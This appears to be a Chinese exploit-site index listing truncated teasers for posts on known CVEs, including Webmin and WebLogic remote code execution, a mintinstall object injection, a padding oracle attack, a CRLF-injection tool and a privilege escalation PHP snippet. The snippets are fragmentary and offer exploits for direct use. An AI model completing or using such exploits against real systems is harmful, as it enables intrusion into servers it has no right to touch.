mintinstall 7.9.9-代码执行(CVE-2019-17080)
直接上Exp
# Exploit Title: mintinstall (aka Software Manager) object injection
# Date: 10/02/2019
# Expl...
Webmin远程代码执行漏洞【CVE-2019-15107】
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计，互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功能后，攻击者...
Weblogic反序列化远程代码执行漏洞exp(CVE-2019-2725)
利用点是weblogic的xmldecoder反序列化漏洞，只是构造巧妙的利用链对Oracle官方历年来对这个漏洞点的补丁绕过
主要来还是懒 废话不多说直接上exp和poc 吧 poc并不...
多线程填充Oracle攻击（CVE-2018-2879）
不懂OAM的可以看一下这个文章
http://www.sohu.com/a/230861816_458138
Oracle OAM上的多线程填充Oracle攻击
前两...
CRLF注入的命令行工具
本脚本用于在域列表上测试CRLF注入的命令行工具
漏洞在小 也很致命
#!/usr/bin/python
'''
# Author: ...
护卫神6588端口提权漏洞
利用条件:
shell权限
可执行脚本
<?php
function httpGet() {
$url = 'https://www.0dayhack.com:6588/admin/index.asp?f...
UsualToolCMS大众版5.0重装漏洞
0x00：环境搭建
环境：windows7+phpstudy+php5.3
版本：大众版5.0
下载地址：http://cms.usualtool.com/down/UsualToolCMS-Free.zip
更新...